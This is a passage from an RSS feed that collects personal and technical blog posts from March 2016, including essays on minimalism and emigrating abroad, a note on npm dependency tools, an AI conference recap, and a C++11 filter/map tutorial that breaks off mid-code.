&lt;p&gt;When Litmus officially tested remote work for even the in-office folks, the company had to buy laptops for some employees, and a bunch of external monitors. We use the Apple Monitor, so that was probably at least $10-15k invested in the “experiment.”&lt;/p&gt;

&lt;p&gt;The experiment worked out great, and this last winter when Boston (home office) was crushed by 120 inches of snow, work continued uninterrupted, even though roads and public transportation was almost completely unusable.&lt;/p&gt;

&lt;p&gt;That $10-15k equipment expense resulted in three months of the entire company moving at full efficiency, rather than grinding to a halt in a really busy time of the year. Maybe the best investment we ever made!&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 16 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/my-interview-with-pajamasio</guid></item><item><title>Links - March 16th, 2016</title><link>https://faingezicht.com/links/2016/03/16/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 16 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/16/links/</guid></item><item><title>Graph Editor</title><link>https://www.hankruiger.com/posts/graph-editor/</link><description>Visualising and editing graphs using a web application.</description><author>Han's blog</author><pubDate>Wed, 16 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.hankruiger.com/posts/graph-editor/</guid></item><item><title>If- by Rudyard Kipling</title><link>https://ho.dges.online/words/commonplace/if--by-rudyard-kipling/</link><description>&lt;p&gt;If you can keep your head when all about you&lt;br /&gt;
Are losing theirs and blaming it on you,&lt;br /&gt;
If you can trust yourself when all men doubt you,&lt;br /&gt;
But make allowance for their doubting too;&lt;br /&gt;
If you can wait and not be tired by waiting,&lt;br /&gt;
Or being lied about, don’t deal in lies,&lt;br /&gt;
Or being hated, don’t give way to hating,&lt;br /&gt;
And yet don’t look too good, nor talk too wise:&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Wed, 16 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/if--by-rudyard-kipling/</guid></item><item><title>How to code-sign OS X Electron apps in Travis CI</title><link>https://www.jviotti.com/2016/03/16/how-to-code-sign-os-x-electron-apps-in-travis-ci.html</link><description>This article discusses how to code-sign OS X Electron apps using Travis CI</description><author>Juan Cruz Viotti</author><pubDate>Wed, 16 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.jviotti.com/2016/03/16/how-to-code-sign-os-x-electron-apps-in-travis-ci.html</guid></item><item><title>PAPIs.io Connect 2016 – Valencia</title><link>https://danielpecos.com/2016/03/15/papis-io-connect-2016-valencia/</link><description>&lt;img alt="PAPIs.io Connect" class="alignleft" src="https://danielpecos.com/assets/2016/03/papis-lanyard.png" /&gt;
&lt;p&gt;I just got home after enjoying a couple of days in the &lt;a href="http://www.papis.io/connect"&gt;PAPIs.io Connect&lt;/a&gt; conferences in Valencia. And they’ve been great!&lt;/p&gt;
&lt;p&gt;There have been sessions about Machine Learning, Deep Learning, APIs, AI, BigData and many more. Oh, and there have been drones too.&lt;/p&gt;
&lt;p&gt;To summarize, the ecosystem surrounding BigData and AI technologies is amazing and currently is really on fire. In my humble opinion, I think this quote from &lt;a href="https://www.linkedin.com/in/ramonlopezdemantaras"&gt;Ramón López de Mántaras&lt;/a&gt;’s keynote “Past, Present and Future of AI: A fascinating journey” describes the energy and enthusiasm that people working in AI and BigData transmit when they talk about the matter:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal of human-level intelligence remains elusive but has inspired and still inspires our work on AI&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Speakers from many different companies, like Amazon, ING, BigML, Telefonica R&amp;amp;D, So1, Ŷhat, just to name a few, have been talking about their experience in solving many different types of problems using Machine Learning technologies and what the main benefits and caveats have they found during the process.&lt;/p&gt;
&lt;img alt="PAPIs.io Topics" class="aligncenter" src="https://danielpecos.com/assets/2016/03/papis-topics.png" /&gt;
&lt;p&gt;Just to provide an idea of the huge amount of effort and solutions around BigData and what the ecosystem looks like nowadays, nothing better than this image:&lt;/p&gt;
&lt;img alt="BigData ecosystem" class="aligncenter" src="https://danielpecos.com/assets/2016/03/bigdata-ecosystem.jpg" /&gt;
&lt;p&gt;Great speakers, really cool topics for the talks and really nice venue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What else could you ask for?&lt;/strong&gt; Oh yeah, Valencia’s Fallas and great food!&lt;/p&gt;
&lt;p&gt;In the following link you can have a look into the activity that has happened in Twitter #papisconnect hashtag during the event:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/hashtag/papisconnect"&gt;https://twitter.com/hashtag/papisconnect&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EDIT (2016/03/16):&lt;/strong&gt; Completely forgot to mention the Startups Battle. It was really cool to see how a AI (&lt;a href="http://preseries.com/"&gt;&lt;strong&gt;preseries&lt;/strong&gt;&lt;/a&gt;) drives an &lt;em&gt;interview&lt;/em&gt; in order to rank an startup, using BigML technology and Amazon Echo. My only &lt;em&gt;concern&lt;/em&gt; was that it never asked a single question about any project at all, just questions about the team experience and seed rounds. Is that the only thing that matters to get your project fund? Don’t think so.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Tue, 15 Mar 2016 21:35:00 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/03/15/papis-io-connect-2016-valencia/</guid></item><item><title>keeping npm dependencies up to date</title><link>https://peterlyons.com/problog/2016/03/keeping-npm-dependencies-up-to-date/</link><description>&lt;p&gt;I've recently tried a few tools to help me keep the dependencies of my node/npm projects up to date. Here's a quick report on my experience, but first a few notes.&lt;/p&gt;
&lt;h3 id="why-bother"&gt;Why bother?&lt;/h3&gt;
&lt;p&gt;Keeping up with the barrage of updates can be a tedious chore. Is it even worth the effort? For silly side projects and things you've generally not committed to maintaining, no, it's not worth the effort. But for an open source library that is actively used or a side project you want to be perceived favorably, it's worthwhile.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It shows recent maintenance activity, which is a strong signal of a non-abandoned project&lt;/li&gt;
&lt;li&gt;it shows ability to add to a project after the initial release and "new project energy" has dissipated
&lt;ul&gt;
&lt;li&gt;You might be surprised how few projects can pass this test&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;It can help to avoid security vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="greenkeeper"&gt;greenkeeper&lt;/h3&gt;
&lt;p&gt;The first tool/service I tried was &lt;a href="http://greenkeeper.io"&gt;greenkeeper&lt;/a&gt;. It integrates with both npm and github and works by detecting when new packages are published to npm and sending your project a github pull request to update your &lt;code&gt;package.json&lt;/code&gt; file to the new version. The intention is for you to have continuous integration set up so automated tests can confirm the new version still works properly in your library, and if you, you can just click "Merge" and get on with things.&lt;/p&gt;
&lt;p&gt;Overall the service works as advertised. I eventually disabled it, though because it is too tedious to manage given multiple projects. I ended up with several emails/PRs per day and increasing complexity to manage them, avoid conflicts, click around the github web UI for ages, etc.&lt;/p&gt;
&lt;p&gt;So I went back to the command line with the next tool.&lt;/p&gt;
&lt;h3 id="npm-check-updates"&gt;npm-check-updates&lt;/h3&gt;
&lt;p&gt;I found &lt;a href="https://www.npmjs.com/package/npm-check-updates"&gt;npm-check-updates&lt;/a&gt; to work really well. It's a command line tool (abbreviation &lt;code&gt;ncu&lt;/code&gt; also available) you can run in your project's root directory and it will print out your stale dependencies, optionally updating your &lt;code&gt;package.json&lt;/code&gt; file. Then you should run &lt;code&gt;npm install&lt;/code&gt; to actually install the new deps, make sure your tests pass, and then commit and potentially release a patch update to your project.&lt;/p&gt;
&lt;p&gt;I ended up adding a little shell function to loop over my node projects and run &lt;code&gt;ncu -u&lt;/code&gt; on all of them so I can quickly update any stale dependencies.&lt;/p&gt;
&lt;h3 id="packages-to-avoid"&gt;packages to avoid&lt;/h3&gt;
&lt;p&gt;I looked at the following packages and they seem to be unmaintained, so don't bother:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/npm-update"&gt;npm-update&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/npm-modernize"&gt;npm-modernize&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="general-tips"&gt;general tips&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Make sure your test and release process (the git part, CI part, and npm part) are automated well enough that the process is not tedious nor error-prone&lt;/li&gt;
&lt;li&gt;consider scheduling a specific time to handle non-urgent updates to avoid needless distractions. I've made this the first part of my "Open Source Wednesday Morning" routine I do while at the Code and Coffee get together.&lt;/li&gt;
&lt;/ul&gt;</description><author>Pete's Points</author><pubDate>Tue, 15 Mar 2016 04:16:37 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/03/keeping-npm-dependencies-up-to-date/</guid></item><item><title>Links - March 15th, 2016</title><link>https://faingezicht.com/links/2016/03/15/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 15 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/15/links/</guid></item><item><title>DLP Slicer</title><link>https://mattkeeter.com/projects/dlp</link><description>Fast voxelization in WebGL</description><author>Matt Keeter</author><pubDate>Tue, 15 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/dlp</guid></item><item><title>Two way data bindings in Anvil</title><link>https://zserge.com/posts/anvil-two-way-bindings/</link><description>New Anvil 0.3.0 has been released. The major focus for this release has been on user input widgets and two-way data bindings.
Issues There have been two types of issues in this two-way data binding milestone: bloated inconvenient event listeners and recursion.
Listeners The first one is easy. Java 8 and Kotlin are the primary languages for Anvil, so when people bind an event listener to a view - they use either a lambda or a method reference.</description><author>zserge's blog</author><pubDate>Tue, 15 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/anvil-two-way-bindings/</guid></item><item><title>[Review] "The Circle" by Dave Eggers</title><link>https://ntietz.com/blog/review-the-circle/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;Surveillance has gotten a lot of media attention lately (and a bit of attention on this very blog), and for good reason. So, it should be no surprise that it's also turning up in our dystopian novels!&lt;/p&gt;
&lt;p&gt;"The Circle" is a dystopian novel by Dave Eggers. While fiction, it is set in a plausible universe which is alarmingly similar to present day, and it lays out a future which we could slide into if we are not careful about corporate and government surveillance. Eggers' message of the dangers of surveillance is both clear and harrowing.&lt;/p&gt;
&lt;p&gt;I would strongly recommend this book to any of my friends, and I would make it required reading for technologists. As technologists, we hold the keys to either a great or terrible future, so we must together carefully weight the future we are creating.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Tue, 15 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/review-the-circle/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Do you really need "IT controls" on the blueprints of your products? Probably not</title><link>https://stop.zona-m.net/2016/03/should-you-protect-the-blueprints-of-your-products-probably-not/</link><description>&lt;p&gt;Here are a couple of comments about the article &lt;a href="http://www.cioreview.com/cxoinsight/3d-printing-ip-vulnerability-and-information-technology-nid-12964-cid-7.html"&gt;&amp;ldquo;3D Printing: IP Vulnerability and Information Technology&amp;rdquo;&lt;/a&gt;, which are directly related to the EU research project &lt;a href="http://www.didiy.eu"&gt;DiDIY (Digital DIY)&lt;/a&gt; in which I am participating these days. In my opinion, THE most relevant paragraph of that article, the one that should receive more attention, is this:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 14 Mar 2016 09:58:29 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/03/should-you-protect-the-blueprints-of-your-products-probably-not/</guid></item><item><title>Automatic edges in mgmt</title><link>https://purpleidea.com/blog/2016/03/14/automatic-edges-in-mgmt/</link><description>&lt;p&gt;It&amp;rsquo;s been &lt;a href="https://purpleidea.com/blog/2016/01/18/next-generation-configuration-mgmt/"&gt;two months since I announced mgmt&lt;/a&gt;, and now it&amp;rsquo;s time to continue the story by telling you more about the design of &lt;a href="https://github.com/purpleidea/mgmt/"&gt;what&amp;rsquo;s now in git master&lt;/a&gt;. Before I get into those details, let me quickly &lt;a href="https://www.youtube.com/watch?v=M4vqr3_ROIk&amp;amp;t=748&amp;amp;html5=1"&gt;recap&lt;/a&gt; what&amp;rsquo;s happened since then.&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Mgmt community recap&lt;/span&gt;:&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;I gave the first public presentation about mgmt at &lt;a href="http://cfgmgmtcamp.eu/schedule/speakers/JamesShubin.html"&gt;CfgMgmtCamp&lt;/a&gt;.&lt;/li&gt;
    &lt;li&gt;I repeated the talk at &lt;a href="https://devconfcz2016.sched.org/event/5m14/next-generation-config-mgmt"&gt;DevConf.cz&lt;/a&gt;. &lt;a href="https://www.youtube.com/watch?v=GVhpPF0j-iE&amp;amp;html5=1"&gt;The video recording is available.&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Felix wrote about his work &lt;a href="https://ffrank.github.io/features/2016/02/18/from-catalog-to-mgmt/"&gt;cross compiling puppet code to mgmt&lt;/a&gt;.&lt;/li&gt;
    &lt;li&gt;&lt;a href="https://github.com/purpleidea/mgmt/graphs/contributors"&gt;Three new contributors&lt;/a&gt; got their feet wet in git master.&lt;/li&gt;
    &lt;li&gt;&lt;a href="https://github.com/purpleidea/mgmt/#on-the-web"&gt;Mgmt got a lot more attention on the web...&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Okay, time to tell you what&amp;rsquo;s new in mgmt!&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 14 Mar 2016 02:50:48 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/03/14/automatic-edges-in-mgmt/</guid></item><item><title>On Minimalism</title><link>https://josh.works/home/misc/2016/03/14/on-minimalism/</link><description>&lt;p&gt;I reluctantly call myself a minimalist. I’d prefer to call myself an “enoughalist”.&lt;/p&gt;

&lt;p&gt;This reluctance is because I think the label brings in a bunch of connotations that I don’t like.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Our apartment never looked like this. Source: home-designing.com" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_56e68f7e37013b50c08fc161_1457950648743__img.jpg_" /&gt; Our apartment never looked like this. Source: home-designing.com&lt;/p&gt;

&lt;h2 id="what-is-minimalism"&gt;What is Minimalism?&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;a removal or decluttering of one’s lifestyle in order to focus on that which is most essential&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is about reducing some things, like consumption, time at work, and possessions and increasing other things, like self-sufficiency, wealth, and {insert thing you want here}.&lt;/p&gt;

&lt;p&gt;With the goal of… what?&lt;/p&gt;

&lt;p&gt;Lets say you’ve got lots of things you 
don’t want in your life, and not a lot of things you 
do want. This is a 
bad place. So, you adapt changes that reduce the things you don’t want, and allow you to add some things you do want.&lt;/p&gt;

&lt;p&gt;This is a 
better place.&lt;/p&gt;

&lt;p&gt;There may still be a gap. If you’ve reduced things and added the things you wanted to add, but still feel discontent, you’re in a spot that many others find themselves. This is a 
good place, because you have to own your discontentment. You can’t play the “what if” game and say “if my boss wasn’t so bad, and I had a little more money, and a little more time, I’d be happy.”&lt;/p&gt;

&lt;h2 id="minimalism-is-a-tool-not-the-goal"&gt;Minimalism is a Tool, not the Goal&lt;/h2&gt;

&lt;p&gt;Some internet-people make minimalism the goal of their lives. I respect them, but don’t want to emulate them. People like 
&lt;a href="http://tynan.com/"&gt;Tynan&lt;/a&gt;, 
&lt;a href="http://www.theminimalists.com/archives/#popular"&gt;The Minimalists&lt;/a&gt;, and others.&lt;/p&gt;

&lt;p&gt;Share good tools and tricks. (This is the premise of 
&lt;a href="http://lifehacker.com"&gt;Lifehacker&lt;/a&gt;, after all), but don’t forget that the tips and tricks are to move you in the direction of a goal. (Speaking of useful tools, if you’re a Mac user, check out 
&lt;a href="http://jumpcut.sourceforge.net/"&gt;Jumpcut&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;If minimalism is not the goal, why should anyone pay attention to it, or consider it?&lt;/p&gt;

&lt;p&gt;Clearing out trivialities gives you space to evaluate your own life and decisions. The way you work, relax, spend money each involve a decision. If you don’t make them consciously, you’re probably having them made for you. So, adapt the basic tenants of minimalism (or “enoughism”) and you can regain control of the decision making.&lt;/p&gt;

&lt;h2 id="whats-the-goal"&gt;What’s the Goal?&lt;/h2&gt;

&lt;p&gt;The good news: here’s nothing in this world that is fully satisfying.&lt;/p&gt;

&lt;p&gt;The bad news: we are slow to believe this.&lt;/p&gt;

&lt;p&gt;Others have said it better:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Vanity of vanities”, says the Preacher, “vanity of vanities! All is vanity. What does man gain by all the toil at which he toils under the sun?” (Ecclesiastes 1:2-3)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="resources"&gt;Resources&lt;/h3&gt;

&lt;p&gt;Read more on minimalism here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://zenhabits.net/about/"&gt;http://zenhabits.net/about/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.theatlantic.com/business/archive/2014/07/living-with-less/374544/"&gt;http://www.theatlantic.com/business/archive/2014/07/living-with-less/374544/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.becomingminimalist.com/"&gt;http://www.becomingminimalist.com/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.theminimalists.com/minimalism/"&gt;http://www.theminimalists.com/minimalism/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.charlesspecht.com/jonathan-edwards-and-his-pursuit-of-minimalism/"&gt;http://www.charlesspecht.com/jonathan-edwards-and-his-pursuit-of-minimalism/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://fourhourworkweek.com/2010/02/25/rolf-potts-vagabonding-travel/"&gt;http://fourhourworkweek.com/2010/02/25/rolf-potts-vagabonding-travel/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Mon, 14 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/home/misc/2016/03/14/on-minimalism/</guid></item><item><title>Eve REST API Framework v0.6.2 is out</title><link>https://nicolaiarocci.com/eve-rest-api-framework-v0-6-2-is-out/</link><description>&lt;p&gt;Today I released &lt;a href="http://python-eve.org"&gt;Eve&lt;/a&gt; 0.6.2. It includes many fixes and improvements over the previous releases. Areas addressed are CORS management, soft deletes, token authentication, oplog, data validation, and others. Please see the &lt;a href="http://python-eve.org/changelog"&gt;changelog&lt;/a&gt; for details.&lt;/p&gt;
&lt;p&gt;Work on v0.7 is also ongoing. It will include new features such as support for the MongoDB Aggregation Framework (&lt;a href="http://python-eve.org/features.html#mongodb-aggregation-framework"&gt;docs&lt;/a&gt;) and a few breaking changes, so you might want to check it out in advance.&lt;/p&gt;
&lt;p&gt;Special thanks to Arnau Orriols, Cyril Bonnard, Hamdy, Luca Di Gaspero, Manquer, Nick Park, Patrick Decat, Prayag Verma, Ralph Smith, Stratos Gerakakis, Valerie Coffman and Wei Guan who contributed to this release.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 14 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/eve-rest-api-framework-v0-6-2-is-out/</guid></item><item><title>Links - March 14th, 2016</title><link>https://faingezicht.com/links/2016/03/14/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 14 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/14/links/</guid></item><item><title>Sprint: How to Solve Big Problems and Test New Ideas in Just Five Days</title><link>https://olshansky.info/book/sprint/</link><description>Olshansky's review of Sprint: How to Solve Big Problems and Test New Ideas in Just Five Days by Jake Knapp</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 14 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/sprint/</guid></item><item><title>So, You Want to Leave America</title><link>https://benovermyer.com/blog/2016/03/so-you-want-to-leave-america/</link><description>&lt;p&gt;Many people (more people than ever before, apparently) are declaring their intention to move away from America permanently if Candidate X wins the election for President of the United States in November.&lt;/p&gt;
&lt;p&gt;I won't lie, I was one of those. But then I started digging into what that meant.&lt;/p&gt;
&lt;p&gt;See, I've done it before. In 2000, my parents, sister, and I all moved together to New Zealand when George W. Bush won the election. It was more than a little bit of a political decision.&lt;/p&gt;
&lt;p&gt;Don't get me wrong, New Zealand was amazing. Most of the best memories of my entire life happened in the four years I lived there. But I also acutely remember the cost.&lt;/p&gt;
&lt;p&gt;New Zealand was a relatively safe choice. The primary language was English. The legal system was fairly similar to the United States'. Most of the culture was familiar, if a little different. But it was really expensive, and not just in the material cost of goods. New Zealand is a remote island nation at the end of the world. Internet usage at the time was far more expensive than in the USA. My family lost touch with almost everyone we had known. I experienced my first real sense of profound loss as a result.&lt;/p&gt;
&lt;p&gt;If you choose to leave the United States for political reasons, you need to seriously consider a few things. All of the following assumes that you and yours are leaving because you're appalled at the political situation, and not in immediate physical danger because of the election's result. If you fall into the latter category, this post doesn't apply to you, and you should get your family to safety as soon as possible.&lt;/p&gt;
&lt;p&gt;If you are leaving because you disagree with the country's choice of leader, then you need to make damn sure that the country you're choosing to emigrate to follows your own political beliefs. If you pick a country that's MORE extreme than the president apparent, then you may as well have just saved yourself the trouble and stayed home, because you're in for a world of hurt.&lt;/p&gt;
&lt;p&gt;On the other hand, if your host country of choice is politically favorable, you have a ton of other considerations to keep in mind. If you've spent your entire life in one part of the USA, then you're basically f***ed, in terms of culture shock. It will hurt, and it will hurt bad, to discover that everything you're familiar with is either A) extremely different, B) absent, or worse, C) slightly different. Let me elaborate.&lt;/p&gt;
&lt;p&gt;My sister was brought to tears by all pickles in New Zealand being basically sweet miniature-as-in-quark-sized pickles. The straw that shattered the camel's back, as it were. I saw the same kind of reaction by most of the American ex-pats I met in NZ. Not to pickles, mind you, but to the little things.&lt;/p&gt;
&lt;p&gt;A relatively small portion of the world has English as its mother tongue. Sure, it's spoken just about everywhere, and you'll get on OK in most developed or even developing nations. But there is a marked difference in communicating with someone in identical preferred languages and in your preferred language but the other person's second language. This is particularly true in countries where English is recognized as a business necessity but not a cultural one, such as eastern Asian countries.&lt;/p&gt;
&lt;p&gt;Let's say you're able to adapt to the language barrier, and to the availability barrier. Congratulations on defying the two biggest hurdles. Now how are you going to deal with the fact that people in your host country don't understand your pet peeves, or your quirks that you thought were common, or your personal passions that have no support locally? How about the prejudice that the locals feel towards Americans, which is basically universal in all countries that are aware of the USA? Are you ready for that? Are you willing to subject your family to that?&lt;/p&gt;
&lt;p&gt;OK, so you're still ready to go. You've got your passports, and you've secured your visas. You understand the financial and cultural pitfalls. You still think that leaving the USA is the best choice, given the alternative. OK, that's fine. Before you commit to a particular country, then you better damn well visit each of your prospective host countries for at least a month each (you DO have multiple options, right?) before making the big move.&lt;/p&gt;
&lt;p&gt;Because I will tell you, as someone who has done it and is considering doing it again, leaving your home country is one of the hardest goddamn things you can do to yourself or your family.&lt;/p&gt;
&lt;p&gt;On the other hand, you might be of the YOLO type, in which case ignore everything I've warned you about above. It might be the most amazing adventure of your entire life.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Mon, 14 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2016/03/so-you-want-to-leave-america/</guid></item><item><title>Implementing filter and map with C++11</title><link>https://bastian.rieck.me/blog/2016/filter_map_cxx11/</link><description>&lt;p&gt;I am a fan of &lt;a href="https://en.wikipedia.org/wiki/Higher-order_function"&gt;&amp;ldquo;higher-order functions&amp;rdquo;&lt;/a&gt; such as &lt;code&gt;filter&lt;/code&gt;
and &lt;code&gt;map&lt;/code&gt;. To me, they are much more elegant and concise than the corresponding constructions with
&lt;code&gt;for&lt;/code&gt;-loops and the like. Of course, I wanted to use them in my daily C++ grind as well. Until
recently, this turned out to be rather clunky—C++98 and C++03 did not include &lt;code&gt;std::copy_if&lt;/code&gt;,
which can be used to implement &lt;code&gt;filter&lt;/code&gt;. Furthermore, &lt;code&gt;std::transform&lt;/code&gt;, which is the equivalent of
&lt;code&gt;apply&lt;/code&gt; or &lt;code&gt;map&lt;/code&gt;, takes an output iterator as an additional argument. This does not yield concise
code.&lt;/p&gt;
&lt;p&gt;Luckily, with C++11 the situation became better. First, let’s implement &lt;code&gt;filter&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iterator&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;vector&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;InputIterator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Functor&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;iterator_traits&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;InputIterator&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;value_type&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;InputIterator&lt;/span&gt; &lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;InputIterator&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Functor&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;ValueType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;iterator_traits&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;InputIterator&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;value_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
